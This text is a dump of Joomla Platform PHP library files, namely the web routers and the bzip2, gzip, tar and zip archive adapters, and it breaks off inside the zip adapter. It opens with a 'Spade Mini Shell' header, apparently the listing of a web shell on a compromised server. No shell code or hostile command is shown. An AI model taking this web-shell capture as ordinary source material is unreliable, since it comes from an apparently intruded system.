Spade
Mini Shell
application/web/router/base.php000064400000011067151171674070012605
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Basic Web application router class for the Joomla Platform.
*
* @since 3.0
* @deprecated 4.0 Use the `joomla/router` package via Composer instead
*/
class JApplicationWebRouterBase extends JApplicationWebRouter
{
/**
* @var array An array of rules, each rule being an associative
array('regex'=> $regex, 'vars' => $vars,
'controller' => $controller)
* for routing the request.
* @since 3.0
*/
protected $maps = array();
/**
* Add a route map to the router. If the pattern already exists it will
be overwritten.
*
* @param string $pattern The route pattern to use for matching.
* @param string $controller The controller name to map to the given
pattern.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function addMap($pattern, $controller)
{
// Sanitize and explode the pattern.
$pattern = explode('/', trim(parse_url((string) $pattern,
PHP_URL_PATH), ' /'));
// Prepare the route variables
$vars = array();
// Initialize regular expression
$regex = array();
// Loop on each segment
foreach ($pattern as $segment)
{
// Match a splat with no variable.
if ($segment == '*')
{
$regex[] = '.*';
}
// Match a splat and capture the data to a named variable.
elseif ($segment[0] == '*')
{
$vars[] = substr($segment, 1);
$regex[] = '(.*)';
}
// Match an escaped splat segment.
elseif ($segment[0] == '\\' && $segment[1] ==
'*')
{
$regex[] = '\*' . preg_quote(substr($segment, 2));
}
// Match an unnamed variable without capture.
elseif ($segment == ':')
{
$regex[] = '[^/]*';
}
// Match a named variable and capture the data.
elseif ($segment[0] == ':')
{
$vars[] = substr($segment, 1);
$regex[] = '([^/]*)';
}
// Match a segment with an escaped variable character prefix.
elseif ($segment[0] == '\\' && $segment[1] ==
':')
{
$regex[] = preg_quote(substr($segment, 1));
}
// Match the standard segment.
else
{
$regex[] = preg_quote($segment);
}
}
$this->maps[] = array(
'regex' => chr(1) . '^' . implode('/',
$regex) . '$' . chr(1),
'vars' => $vars,
'controller' => (string) $controller,
);
return $this;
}
/**
* Add a route map to the router. If the pattern already exists it will
be overwritten.
*
* @param array $maps A list of route maps to add to the router as
$pattern => $controller.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function addMaps($maps)
{
foreach ($maps as $pattern => $controller)
{
$this->addMap($pattern, $controller);
}
return $this;
}
/**
* Parse the given route and return the name of a controller mapped to the
given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return string The controller name for the given route excluding
prefix.
*
* @since 3.0
* @throws InvalidArgumentException
*/
protected function parseRoute($route)
{
$controller = false;
// Trim the query string off.
$route = preg_replace('/([^?]*).*/u', '\1', $route);
// Sanitize and explode the route.
$route = trim(parse_url($route, PHP_URL_PATH), ' /');
// If the route is empty then simply return the default route. No
parsing necessary.
if ($route == '')
{
return $this->default;
}
// Iterate through all of the known route maps looking for a match.
foreach ($this->maps as $rule)
{
if (preg_match($rule['regex'], $route, $matches))
{
// If we have gotten this far then we have a positive match.
$controller = $rule['controller'];
// Time to set the input variables.
// We are only going to set them if they don't already exist to
avoid overwriting things.
foreach ($rule['vars'] as $i => $var)
{
$this->input->def($var, $matches[$i + 1]);
// Don't forget to do an explicit set on the GET superglobal.
$this->input->get->def($var, $matches[$i + 1]);
}
$this->input->def('_rawRoute', $route);
break;
}
}
// We were unable to find a route match for the request. Panic.
if (!$controller)
{
throw new InvalidArgumentException(sprintf('Unable to handle
request for route `%s`.', $route), 404);
}
return $controller;
}
}
application/web/router/rest.php000064400000007016151171674070012647
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* RESTful Web application router class for the Joomla Platform.
*
* @since 3.0
* @deprecated 4.0 Use the `joomla/router` package via Composer instead
*/
class JApplicationWebRouterRest extends JApplicationWebRouterBase
{
/**
* @var boolean A boolean allowing to pass _method as parameter in
POST requests
* @since 3.0
*/
protected $methodInPostRequest = false;
/**
* @var array An array of HTTP Method => controller suffix pairs
for routing the request.
* @since 3.0
*/
protected $suffixMap = array(
'GET' => 'Get',
'POST' => 'Create',
'PUT' => 'Update',
'PATCH' => 'Update',
'DELETE' => 'Delete',
'HEAD' => 'Head',
'OPTIONS' => 'Options',
);
/**
* Find and execute the appropriate controller based on a given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return void
*
* @since 3.0
* @throws InvalidArgumentException
* @throws RuntimeException
*/
public function execute($route)
{
// Get the controller name based on the route patterns and requested
route.
$name = $this->parseRoute($route);
// Append the HTTP method based suffix.
$name .= $this->fetchControllerSuffix();
// Get the controller object by name.
$controller = $this->fetchController($name);
// Execute the controller.
$controller->execute();
}
/**
* Set a controller class suffix for a given HTTP method.
*
* @param string $method The HTTP method for which to set the class
suffix.
* @param string $suffix The class suffix to use when fetching the
controller name for a given request.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function setHttpMethodSuffix($method, $suffix)
{
$this->suffixMap[strtoupper((string) $method)] = (string) $suffix;
return $this;
}
/**
* Set to allow or not method in POST request
*
* @param boolean $value A boolean to allow or not method in POST
request
*
* @return void
*
* @since 3.0
*/
public function setMethodInPostRequest($value)
{
$this->methodInPostRequest = $value;
}
/**
* Get the property to allow or not method in POST request
*
* @return boolean
*
* @since 3.0
*/
public function isMethodInPostRequest()
{
return $this->methodInPostRequest;
}
/**
* Get the controller class suffix string.
*
* @return string
*
* @since 3.0
* @throws RuntimeException
*/
protected function fetchControllerSuffix()
{
// Validate that we have a map to handle the given HTTP method.
if (!isset($this->suffixMap[$this->input->getMethod()]))
{
throw new RuntimeException(sprintf('Unable to support the HTTP
method `%s`.', $this->input->getMethod()), 404);
}
// Check if request method is POST
if ($this->methodInPostRequest == true &&
strcmp(strtoupper($this->input->server->getMethod()),
'POST') === 0)
{
// Get the method from input
$postMethod = $this->input->get->getWord('_method');
// Validate that we have a map to handle the given HTTP method from
input
if ($postMethod &&
isset($this->suffixMap[strtoupper($postMethod)]))
{
return ucfirst($this->suffixMap[strtoupper($postMethod)]);
}
}
return ucfirst($this->suffixMap[$this->input->getMethod()]);
}
}
application/web/router.php000064400000007564151171674070011702
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Application
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Class to define an abstract Web application router.
*
* @since 3.0
* @deprecated 4.0 Use the `joomla/router` package via Composer instead
*/
abstract class JApplicationWebRouter
{
/**
* @var JApplicationWeb The web application on whose behalf we are
routing the request.
* @since 3.0
*/
protected $app;
/**
* @var string The default page controller name for an empty route.
* @since 3.0
*/
protected $default;
/**
* @var string Controller class name prefix for creating controller
objects by name.
* @since 3.0
*/
protected $controllerPrefix;
/**
* @var JInput An input object from which to derive the route.
* @since 3.0
*/
protected $input;
/**
* Constructor.
*
* @param JApplicationWeb $app The web application on whose behalf
we are routing the request.
* @param JInput $input An optional input object from which
to derive the route. If none
* is given than the input from the
application object will be used.
*
* @since 3.0
*/
public function __construct(JApplicationWeb $app, JInput $input = null)
{
$this->app = $app;
$this->input = ($input === null) ? $this->app->input : $input;
}
/**
* Find and execute the appropriate controller based on a given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return mixed The return value of the controller executed
*
* @since 3.0
* @throws InvalidArgumentException
* @throws RuntimeException
*/
public function execute($route)
{
// Get the controller name based on the route patterns and requested
route.
$name = $this->parseRoute($route);
// Get the controller object by name.
$controller = $this->fetchController($name);
// Execute the controller.
return $controller->execute();
}
/**
* Set the controller name prefix.
*
* @param string $prefix Controller class name prefix for creating
controller objects by name.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function setControllerPrefix($prefix)
{
$this->controllerPrefix = (string) $prefix;
return $this;
}
/**
* Set the default controller name.
*
* @param string $name The default page controller name for an empty
route.
*
* @return JApplicationWebRouter This object for method chaining.
*
* @since 3.0
*/
public function setDefaultController($name)
{
$this->default = (string) $name;
return $this;
}
/**
* Parse the given route and return the name of a controller mapped to the
given route.
*
* @param string $route The route string for which to find and execute
a controller.
*
* @return string The controller name for the given route excluding
prefix.
*
* @since 3.0
* @throws InvalidArgumentException
*/
abstract protected function parseRoute($route);
/**
* Get a JController object for a given name.
*
* @param string $name The controller name (excluding prefix) for
which to fetch and instance.
*
* @return JController
*
* @since 3.0
* @throws RuntimeException
*/
protected function fetchController($name)
{
// Derive the controller class name.
$class = $this->controllerPrefix . ucfirst($name);
// If the controller class does not exist panic.
if (!class_exists($class) || !is_subclass_of($class,
'JController'))
{
throw new RuntimeException(sprintf('Unable to locate controller
`%s`.', $class), 404);
}
// Instantiate the controller.
$controller = new $class($this->input, $this->app);
return $controller;
}
}
archive/archive.php000064400000003644151171674070010337 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
use Joomla\Archive\Archive;
/**
* An Archive handling class
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
class JArchive
{
/**
* The array of instantiated archive adapters.
*
* @var JArchiveExtractable[]
* @since 3.0.0
*/
protected static $adapters = array();
/**
* Extract an archive file to a directory.
*
* @param string $archivename The name of the archive file
* @param string $extractdir Directory to unpack into
*
* @return boolean True for success
*
* @since 1.5
* @throws InvalidArgumentException
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public static function extract($archivename, $extractdir)
{
// The archive instance
$archive = new Archive(array('tmp_path' =>
JFactory::getConfig()->get('tmp_path')));
// Extract the archive
return $archive->extract($archivename, $extractdir);
}
/**
* Get a file compression adapter.
*
* @param string $type The type of adapter (bzip2|gzip|tar|zip).
*
* @return JArchiveExtractable Adapter for the requested type
*
* @since 1.5
* @throws UnexpectedValueException
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public static function getAdapter($type)
{
if (!isset(self::$adapters[$type]))
{
// Try to load the adapter object
$class = 'JArchive' . ucfirst($type);
if (!class_exists($class))
{
throw new UnexpectedValueException('Unable to load archive',
500);
}
self::$adapters[$type] = new $class;
}
return self::$adapters[$type];
}
}
archive/bzip2.php000064400000007403151171674070007741 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.stream');
/**
* Bzip2 format adapter for the JArchive class
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Bzip2 class instead
*/
class JArchiveBzip2 implements JArchiveExtractable
{
/**
* Bzip2 file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* Extract a Bzip2 compressed file to a given path
*
* @param string $archive Path to Bzip2 archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 1.5
* @throws RuntimeException
*/
public function extract($archive, $destination, array $options = array())
{
$this->_data = null;
if (!extension_loaded('bz2'))
{
$this->raiseWarning(100, 'The bz2 extension is not
available.');
}
if (isset($options['use_streams']) &&
$options['use_streams'] != false)
{
return $this->extractStream($archive, $destination, $options);
}
// Old style: read the whole file and then parse it
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
return $this->raiseWarning(100, 'Unable to read archive');
}
$buffer = bzdecompress($this->_data);
unset($this->_data);
if (empty($buffer))
{
return $this->raiseWarning(100, 'Unable to decompress
data');
}
if (JFile::write($destination, $buffer) === false)
{
return $this->raiseWarning(100, 'Unable to write archive');
}
return true;
}
/**
* Method to extract archive using stream objects
*
* @param string $archive Path to Bzip2 archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 3.6.0
*/
protected function extractStream($archive, $destination, $options =
array())
{
// New style! streams!
$input = JFactory::getStream();
// Use bzip
$input->set('processingmethod', 'bz');
if (!$input->open($archive))
{
return $this->raiseWarning(100, 'Unable to read archive
(bz2)');
}
$output = JFactory::getStream();
if (!$output->open($destination, 'w'))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write archive
(bz2)');
}
do
{
$this->_data = $input->read($input->get('chunksize',
8196));
if ($this->_data && !$output->write($this->_data))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write archive
(bz2)');
}
}
while ($this->_data);
$output->close();
$input->close();
return true;
}
/**
* Temporary private method to isolate JError from the extract method
* This code should be removed when JError is removed.
*
* @param int $code The application-internal error code for this
error
* @param string $msg The error message, which may also be shown the
user if need be.
*
* @return JException JException instance if JError class exists
*
* @since 3.6.0
* @throws RuntimeException if JError class does not exist
*/
private function raiseWarning($code, $msg)
{
if (class_exists('JError'))
{
return JError::raiseWarning($code, $msg);
}
throw new RuntimeException($msg);
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return extension_loaded('bz2');
}
}
archive/extractable.php000064400000002007151171674070011204
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Archieve class interface
*
* @since 3.0.0
* @deprecated 4.0 use the Joomla\Archive\ExtractableInterface interface
instead
*/
interface JArchiveExtractable
{
/**
* Extract a compressed file to a given path
*
* @param string $archive Path to archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [may be unused]
*
* @return boolean True if successful
*
* @since 3.0.0
*/
public function extract($archive, $destination, array $options = array());
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 3.0.0
*/
public static function isSupported();
}
archive/gzip.php000064400000012361151171674070007663 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
/**
* Gzip format adapter for the JArchive class
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <https://www.horde.org>
*
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Gzip class instead
*/
class JArchiveGzip implements JArchiveExtractable
{
/**
* Gzip file flags.
*
* @var array
* @since 1.5
*/
private $_flags = array('FTEXT' => 0x01, 'FHCRC'
=> 0x02, 'FEXTRA' => 0x04, 'FNAME' => 0x08,
'FCOMMENT' => 0x10);
/**
* Gzip file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* Extract a Gzip compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 1.5
* @throws RuntimeException
*/
public function extract($archive, $destination, array $options = array())
{
$this->_data = null;
if (!extension_loaded('zlib'))
{
return $this->raiseWarning(100, 'The zlib extension is not
available.');
}
if (isset($options['use_streams']) &&
$options['use_streams'] != false)
{
return $this->extractStream($archive, $destination, $options);
}
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
return $this->raiseWarning(100, 'Unable to read archive');
}
$position = $this->_getFilePosition();
$buffer = gzinflate(substr($this->_data, $position,
strlen($this->_data) - $position));
if (empty($buffer))
{
return $this->raiseWarning(100, 'Unable to decompress
data');
}
if (JFile::write($destination, $buffer) === false)
{
return $this->raiseWarning(100, 'Unable to write archive');
}
return true;
}
/**
* Method to extract archive using stream objects
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive to
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 3.6.0
*/
protected function extractStream($archive, $destination, $options =
array())
{
// New style! streams!
$input = JFactory::getStream();
// Use gz
$input->set('processingmethod', 'gz');
if (!$input->open($archive))
{
return $this->raiseWarning(100, 'Unable to read archive
(gz)');
}
$output = JFactory::getStream();
if (!$output->open($destination, 'w'))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write archive
(gz)');
}
do
{
$this->_data = $input->read($input->get('chunksize',
8196));
if ($this->_data && !$output->write($this->_data))
{
$input->close();
return $this->raiseWarning(100, 'Unable to write file
(gz)');
}
}
while ($this->_data);
$output->close();
$input->close();
return true;
}
/**
* Temporary private method to isolate JError from the extract method
* This code should be removed when JError is removed.
*
* @param int $code The application-internal error code for this
error
* @param string $msg The error message, which may also be shown the
user if need be.
*
* @return JException JException instance if JError class exists
*
* @since 3.6.0
* @throws RuntimeException if JError class does not exist
*/
private function raiseWarning($code, $msg)
{
if (class_exists('JError'))
{
return JError::raiseWarning($code, $msg);
}
throw new RuntimeException($msg);
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return extension_loaded('zlib');
}
/**
* Get file data offset for archive
*
* @return integer Data position marker for archive
*
* @since 1.5
* @throws RuntimeException
*/
public function _getFilePosition()
{
// Gzipped file... unpack it first
$position = 0;
$info = @ unpack('CCM/CFLG/VTime/CXFL/COS',
substr($this->_data, $position + 2));
if (!$info)
{
return $this->raiseWarning(100, 'Unable to decompress
data.');
}
$position += 10;
if ($info['FLG'] & $this->_flags['FEXTRA'])
{
$XLEN = unpack('vLength', substr($this->_data, $position +
0, 2));
$XLEN = $XLEN['Length'];
$position += $XLEN + 2;
}
if ($info['FLG'] & $this->_flags['FNAME'])
{
$filenamePos = strpos($this->_data, "\x0", $position);
$position = $filenamePos + 1;
}
if ($info['FLG'] & $this->_flags['FCOMMENT'])
{
$commentPos = strpos($this->_data, "\x0", $position);
$position = $commentPos + 1;
}
if ($info['FLG'] & $this->_flags['FHCRC'])
{
$hcrc = unpack('vCRC', substr($this->_data, $position + 0,
2));
$hcrc = $hcrc['CRC'];
$position += 2;
}
return $position;
}
}
archive/tar.php000064400000014302151171674070007475 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.path');
/**
* Tar format adapter for the JArchive class
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <https://www.horde.org>
*
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Tar class instead
*/
class JArchiveTar implements JArchiveExtractable
{
/**
* Tar file types.
*
* @var array
* @since 1.5
*/
private $_types = array(
0x0 => 'Unix file',
0x30 => 'File',
0x31 => 'Link',
0x32 => 'Symbolic link',
0x33 => 'Character special file',
0x34 => 'Block special file',
0x35 => 'Directory',
0x36 => 'FIFO special file',
0x37 => 'Contiguous file',
);
/**
* Tar file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* Tar file metadata array
*
* @var array
* @since 1.5
*/
private $_metadata = null;
/**
* Extract a ZIP compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
* @param array $options Extraction options [unused]
*
* @return boolean|JException True on success, JException instance on
failure if JError class exists
*
* @since 1.5
* @throws RuntimeException if JError class does not exist
*/
public function extract($archive, $destination, array $options = array())
{
$this->_data = null;
$this->_metadata = null;
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to read archive');
}
else
{
throw new RuntimeException('Unable to read archive');
}
}
$this->_getTarInfo($this->_data);
for ($i = 0, $n = count($this->_metadata); $i < $n; $i++)
{
$type = strtolower($this->_metadata[$i]['type']);
if ($type == 'file' || $type == 'unix file')
{
$buffer = $this->_metadata[$i]['data'];
$path = JPath::clean($destination . '/' .
$this->_metadata[$i]['name']);
// Make sure the destination folder exists
if (!JFolder::create(dirname($path)))
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to create
destination');
}
else
{
throw new RuntimeException('Unable to create destination');
}
}
if (JFile::write($path, $buffer) === false)
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to write entry');
}
else
{
throw new RuntimeException('Unable to write entry');
}
}
}
}
return true;
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return true;
}
/**
* Get the list of files/data from a Tar archive buffer.
*
* @param string &$data The Tar archive buffer.
*
* @return boolean|JException True on success, JException instance on
failure if JError class exists
*
* @since 1.5
* @throws RuntimeException if JError class does not exist
*/
protected function _getTarInfo(& $data)
{
$position = 0;
$return_array = array();
while ($position < strlen($data))
{
if (version_compare(PHP_VERSION, '5.5', '>='))
{
$info = @unpack(
'Z100filename/Z8mode/Z8uid/Z8gid/Z12size/Z12mtime/Z8checksum/Ctypeflag/Z100link/Z6magic/Z2version/Z32uname/Z32gname/Z8devmajor/Z8devminor',
substr($data, $position)
);
}
else
{
$info = @unpack(
'a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/Ctypeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',
substr($data, $position)
);
}
/**
* This variable has been set in the previous loop,
* meaning that the filename was present in the previous block
* to allow more than 100 characters - see below
*/
if (isset($longlinkfilename))
{
$info['filename'] = $longlinkfilename;
unset($longlinkfilename);
}
if (!$info)
{
if (class_exists('JError'))
{
return JError::raiseWarning(100, 'Unable to decompress
data');
}
else
{
throw new RuntimeException('Unable to decompress data');
}
}
$position += 512;
$contents = substr($data, $position, octdec($info['size']));
$position += ceil(octdec($info['size']) / 512) * 512;
if ($info['filename'])
{
$file = array(
'attr' => null,
'data' => null,
'date' => octdec($info['mtime']),
'name' => trim($info['filename']),
'size' => octdec($info['size']),
'type' =>
isset($this->_types[$info['typeflag']]) ?
$this->_types[$info['typeflag']] : null,
);
if (($info['typeflag'] == 0) || ($info['typeflag']
== 0x30) || ($info['typeflag'] == 0x35))
{
// File or folder.
$file['data'] = $contents;
$mode = hexdec(substr($info['mode'], 4, 3));
$file['attr'] = (($info['typeflag'] == 0x35) ?
'd' : '-') . (($mode & 0x400) ? 'r' :
'-') . (($mode & 0x200) ? 'w' : '-') .
(($mode & 0x100) ? 'x' : '-') . (($mode &
0x040) ? 'r' : '-') . (($mode & 0x020) ?
'w' : '-') . (($mode & 0x010) ? 'x' :
'-') .
(($mode & 0x004) ? 'r' : '-') . (($mode &
0x002) ? 'w' : '-') . (($mode & 0x001) ?
'x' : '-');
}
elseif (chr($info['typeflag']) == 'L' &&
$info['filename'] == '././@LongLink')
{
// GNU tar ././@LongLink support - the filename is actually in the
contents,
// setting a variable here so we can test in the next loop
$longlinkfilename = $contents;
// And the file contents are in the next block so we'll need to
skip this
continue;
}
else
{
// Some other type.
}
$return_array[] = $file;
}
}
$this->_metadata = $return_array;
return true;
}
}
archive/wrapper/archive.php000064400000002537151171674070012017
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Wrapper class for JArchive
*
* @package Joomla.Platform
* @subpackage Archive
* @since 3.4
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
class JArchiveWrapperArchive
{
/**
* Helper wrapper method for extract
*
* @param string $archivename The name of the archive file
* @param string $extractdir Directory to unpack into
*
* @return boolean True for success
*
* @see JArchive::extract()
* @since 3.4
* @throws InvalidArgumentException
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public function extract($archivename, $extractdir)
{
return JArchive::extract($archivename, $extractdir);
}
/**
* Helper wrapper method for getAdapter
*
* @param string $type The type of adapter (bzip2|gzip|tar|zip).
*
* @return JArchiveExtractable Adapter for the requested type
*
* @see JUserHelper::getAdapter()
* @since 3.4
* @deprecated 4.0 use the Joomla\Archive\Archive class instead
*/
public function getAdapter($type)
{
return JArchive::getAdapter($type);
}
}
archive/zip.php000064400000040676151171674070007526 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Archive
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.folder');
/**
* ZIP format adapter for the JArchive class
*
* The ZIP compression code is partially based on code from:
* Eric Mueller <eric@themepark.com>
* http://www.zend.com/codex.php?id=535&single=1
*
* Deins125 <webmaster@atlant.ru>
* http://www.zend.com/codex.php?id=470&single=1
*
* The ZIP compression date code is partially based on code from
* Peter Listiak <mlady@users.sourceforge.net>
*
* This class is inspired from and draws heavily in code and concept from
the Compress package of
* The Horde Project <https://www.horde.org>
*
* @contributor Chuck Hagenbuch <chuck@horde.org>
* @contributor Michael Slusarz <slusarz@horde.org>
* @contributor Michael Cochrane <mike@graftonhall.co.nz>
*
* @since 1.5
* @deprecated 4.0 use the Joomla\Archive\Zip class instead
*/
class JArchiveZip implements JArchiveExtractable
{
/**
* ZIP compression methods.
*
* @var array
* @since 1.5
*/
private $_methods = array(
0x0 => 'None',
0x1 => 'Shrunk',
0x2 => 'Super Fast',
0x3 => 'Fast',
0x4 => 'Normal',
0x5 => 'Maximum',
0x6 => 'Imploded',
0x8 => 'Deflated',
);
/**
* Beginning of central directory record.
*
* @var string
* @since 1.5
*/
private $_ctrlDirHeader = "\x50\x4b\x01\x02";
/**
* End of central directory record.
*
* @var string
* @since 1.5
*/
private $_ctrlDirEnd = "\x50\x4b\x05\x06\x00\x00\x00\x00";
/**
* Beginning of file contents.
*
* @var string
* @since 1.5
*/
private $_fileHeader = "\x50\x4b\x03\x04";
/**
* ZIP file data buffer
*
* @var string
* @since 1.5
*/
private $_data = null;
/**
* ZIP file metadata array
*
* @var array
* @since 1.5
*/
private $_metadata = null;
/**
* Create a ZIP compressed file from an array of file data.
*
* @param string $archive Path to save archive.
* @param array $files Array of files to add to archive.
*
* @return boolean True if successful.
*
* @since 1.5
*
* @todo Finish Implementation
*/
public function create($archive, $files)
{
$contents = array();
$ctrldir = array();
foreach ($files as $file)
{
$this->_addToZIPFile($file, $contents, $ctrldir);
}
return $this->_createZIPFile($contents, $ctrldir, $archive);
}
/**
* Extract a ZIP compressed file to a given path
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
* @param array $options Extraction options [unused]
*
* @return boolean True if successful
*
* @since 1.5
* @throws RuntimeException
*/
public function extract($archive, $destination, array $options = array())
{
if (!is_file($archive))
{
return $this->raiseWarning(100, 'Archive does not exist');
}
if ($this->hasNativeSupport())
{
return $this->extractNative($archive, $destination);
}
return $this->extractCustom($archive, $destination);
}
/**
* Temporary private method to isolate JError from the extract method
* This code should be removed when JError is removed.
*
* @param int $code The application-internal error code for this
error
* @param string $msg The error message, which may also be shown the
user if need be.
*
* @return JException JException instance if JError class exists
*
* @since 3.6.0
* @throws RuntimeException if JError class does not exist
*/
private function raiseWarning($code, $msg)
{
if (class_exists('JError'))
{
return JError::raiseWarning($code, $msg);
}
throw new RuntimeException($msg);
}
/**
* Tests whether this adapter can unpack files on this computer.
*
* @return boolean True if supported
*
* @since 2.5.0
*/
public static function isSupported()
{
return self::hasNativeSupport() || extension_loaded('zlib');
}
/**
* Method to determine if the server has native zip support for faster
handling
*
* @return boolean True if php has native ZIP support
*
* @since 1.5
*/
public static function hasNativeSupport()
{
return extension_loaded('zip');
}
/**
* Checks to see if the data is a valid ZIP file.
*
* @param string &$data ZIP archive data buffer.
*
* @return boolean True if valid, false if invalid.
*
* @since 1.5
*/
public function checkZipData(&$data)
{
if (strpos($data, $this->_fileHeader) === false)
{
return false;
}
return true;
}
/**
* Extract a ZIP compressed file to a given path using a php based
algorithm that only requires zlib support
*
* @param string $archive Path to ZIP archive to extract.
* @param string $destination Path to extract archive into.
*
* @return mixed True if successful
*
* @since 3.0
* @throws RuntimeException
*/
protected function extractCustom($archive, $destination)
{
$this->_data = null;
$this->_metadata = null;
if (!extension_loaded('zlib'))
{
return $this->raiseWarning(100, 'Zlib not supported');
}
$this->_data = file_get_contents($archive);
if (!$this->_data)
{
return $this->raiseWarning(100, 'Unable to read archive
(zip)');
}
if (!$this->_readZipInfo($this->_data))
{
return $this->raiseWarning(100, 'Get ZIP Information
failed');
}
for ($i = 0, $n = count($this->_metadata); $i < $n; $i++)
{
$lastPathCharacter = substr($this->_metadata[$i]['name'],
-1, 1);
if ($lastPathCharacter !== '/' && $lastPathCharacter
!== '\\')
{
$buffer = $this->_getFileData($i);
$path = JPath::clean($destination . '/' .
$this->_metadata[$i]['name']);
// Make sure the destination folder exists
if (!JFolder::create(dirname($path)))
{
return $this->raiseWarning(100, 'Unable to create
destination');
}
if (JFile::write($path, $buffer) === false)
{
return $this->raiseWarning(100, 'Unable to write entry');
}
}
}
return true;
}
/**
* Extract a ZIP compressed file to a given path using native php api
calls for speed
*
* @param string $archive Path to ZIP archive to extract
* @param string $destination Path to extract archive into
*
